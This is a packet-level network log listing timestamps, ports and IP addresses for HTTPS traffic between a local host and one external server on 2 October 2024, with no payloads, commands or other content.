Oct 2, 2024 17:16:40.649322987 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.650211096 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.661979914 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.662007093 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.662106991 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.662117004 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.662235022 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.686491013 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.686578035 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.686579943 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.686629057 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.686728954 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.686745882 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.686768055 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.686806917 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.706165075 CEST	65238	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.706212044 CEST	443	65238	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:40.706326008 CEST	65238	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.706621885 CEST	65238	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:40.706638098 CEST	443	65238	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:41.397830009 CEST	443	65238	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:41.397948027 CEST	65238	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:41.398511887 CEST	65238	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:41.398529053 CEST	443	65238	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:41.400759935 CEST	65238	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:41.400768042 CEST	443	65238	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:41.400814056 CEST	65238	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:41.400820017 CEST	443	65238	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:41.815408945 CEST	65239	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:41.815450907 CEST	443	65239	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:41.815551043 CEST	65239	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:41.816004038 CEST	65239	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:41.816015005 CEST	443	65239	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:42.260299921 CEST	443	65238	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:42.260384083 CEST	443	65238	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:42.260473967 CEST	65238	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:42.261926889 CEST	65238	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:42.261980057 CEST	443	65238	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:42.496954918 CEST	443	65239	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:42.498367071 CEST	65239	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:42.498367071 CEST	65239	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:42.498382092 CEST	443	65239	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:42.529361963 CEST	65239	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:42.529405117 CEST	443	65239	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:43.130280018 CEST	65240	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:43.130353928 CEST	443	65240	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:43.130458117 CEST	65240	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:43.130871058 CEST	65240	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:43.130886078 CEST	443	65240	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:43.331104994 CEST	443	65239	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:43.331197023 CEST	443	65239	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:43.331238985 CEST	65239	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:43.331412077 CEST	65239	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:43.332545996 CEST	65239	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:43.332571983 CEST	443	65239	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:43.803462982 CEST	443	65240	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:43.803554058 CEST	65240	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:43.804132938 CEST	65240	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:43.804157019 CEST	443	65240	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:43.806710005 CEST	65240	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:43.806723118 CEST	443	65240	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:44.210625887 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:44.210680962 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:44.210896015 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:44.211200953 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:44.211214066 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:44.698725939 CEST	443	65240	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:44.698801994 CEST	65240	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:44.698818922 CEST	443	65240	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:44.698863029 CEST	65240	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:44.699824095 CEST	65240	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:44.699846029 CEST	443	65240	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:44.891635895 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:44.891714096 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:44.892194986 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:44.892205954 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:44.894560099 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:44.894566059 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.335700989 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.335731983 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.335757971 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.335814953 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.335849047 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.335866928 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.335890055 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.365782976 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.365811110 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.365873098 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.365902901 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.367312908 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.431602955 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.431622982 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.431691885 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.431721926 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.433023930 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.459832907 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.459851980 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.459955931 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.459981918 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.462287903 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.494045973 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.494066000 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.494153023 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.494179010 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.495408058 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.524137020 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.524154902 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.524243116 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.524266958 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.525923967 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.545424938 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.545444965 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.545531034 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.545556068 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.546226978 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.561930895 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.561949015 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.562004089 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.562026024 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.562041044 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.562057018 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.579221964 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.579241037 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.579291105 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.579314947 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.579334974 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.579348087 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.592642069 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.592658997 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.592734098 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.592763901 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.593945026 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.609133959 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.609150887 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.609242916 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.609271049 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.609325886 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.621489048 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.621520042 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.621606112 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.621633053 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.621659040 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.621680021 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.636145115 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.636172056 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.636234999 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.636257887 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.636282921 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.636301994 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.648044109 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.648062944 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.648148060 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.648174047 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.648626089 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.656574011 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.656589985 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.656692982 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.656716108 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.656760931 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.666734934 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.666753054 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.666821003 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.666842937 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.666867971 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.666888952 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.674899101 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.674917936 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.674972057 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.674992085 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.675017118 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.675035000 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.678741932 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.687208891 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.687228918 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.687289953 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.687309980 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.687339067 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.717012882 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.717036963 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.717101097 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.717128992 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.717149019 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.717168093 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.717808962 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.717825890 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.717894077 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.717911005 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.719321966 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.728300095 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.728324890 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.728373051 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.728404045 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.728421926 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.728437901 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.739105940 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.739123106 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.739222050 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.739253044 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.739310980 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.749440908 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.749461889 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.749546051 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.749574900 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.749712944 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.779541016 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.779560089 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.779642105 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.779670954 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.779736996 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.781277895 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.781296015 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.781343937 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.781361103 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.781378031 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.781395912 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.783812046 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.783829927 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.783883095 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.783900023 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.783922911 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.783937931 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.796487093 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.796506882 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.796587944 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.796617031 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.797017097 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.808075905 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.808113098 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.808149099 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.808163881 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.808198929 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.822803974 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.822840929 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.822937965 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.822954893 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.822990894 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.833585024 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.833616018 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.833678007 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.833689928 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.833725929 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.843950987 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.843981981 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.844057083 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.844064951 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.844105005 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.853673935 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.853715897 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.853756905 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.853765011 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.853801012 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.861197948 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.861248016 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.861280918 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.861288071 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.861330986 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.870989084 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.871035099 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.871073008 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.871081114 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.871124029 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.890898943 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.890949965 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.890981913 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.890993118 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.891033888 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.903213978 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.903287888 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.903307915 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.903321981 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.903352022 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.903415918 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.917342901 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.917397976 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.917418957 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.917428970 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.917469978 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.928098917 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.928145885 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.928169966 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.928178072 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.928211927 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.938456059 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.938478947 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.938510895 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.938518047 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.938558102 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.948848963 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.948900938 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.948931932 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.948944092 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.948965073 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.948976994 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.955765963 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.955827951 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.955833912 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.955859900 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.955878973 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.955893993 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.965398073 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.965442896 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.965471983 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.965477943 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.965488911 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.965512991 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.965532064 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.965740919 CEST	65242	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.965754986 CEST	443	65242	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.967031002 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.967088938 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:45.967179060 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.967430115 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:45.967446089 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:46.621361017 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:46.621438980 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:46.622044086 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:46.622056007 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:46.625262022 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:46.625268936 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.052356005 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.052386999 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.052403927 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.052470922 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.052505970 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.052537918 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.052620888 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.083329916 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.083355904 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.083463907 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.083472967 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.083523035 CEST	65243	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:47.150727034 CEST	443	65243	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:47.150755882 CEST	443	65243	49.12.197.9	192.168.2.6
